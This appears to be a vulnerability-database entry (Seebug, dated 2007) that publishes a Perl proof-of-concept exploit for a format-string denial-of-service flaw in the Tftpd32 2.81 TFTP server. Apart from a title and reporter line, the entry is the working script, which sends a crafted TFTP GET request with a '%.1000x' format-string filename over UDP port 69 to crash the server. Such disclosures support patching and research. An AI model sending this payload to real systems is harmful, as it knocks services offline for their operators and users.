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Tftpd32 2.81 (GET Request) Format String Denial of Service PoC

🗓️ 14 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
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Tftpd32 2.81 (GET Request) Format String Denial of Service PoC by Critical Security researc

Code

                                                #!/usr/bin/perl
# Tftpd32 Format String PoC DoS by Critical Security research http://www.critical.lt
use IO::Socket;
$port = "69";
$host = "127.0.0.1";
$tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');
$bzz = "\x00\x01" ;   #GET
$bzz .= "%.1000x\x00";
$bzz .= "\x6F\x63\x74\x65\x74\x00"; #octet
$tftpudp->send($bzz);

                              

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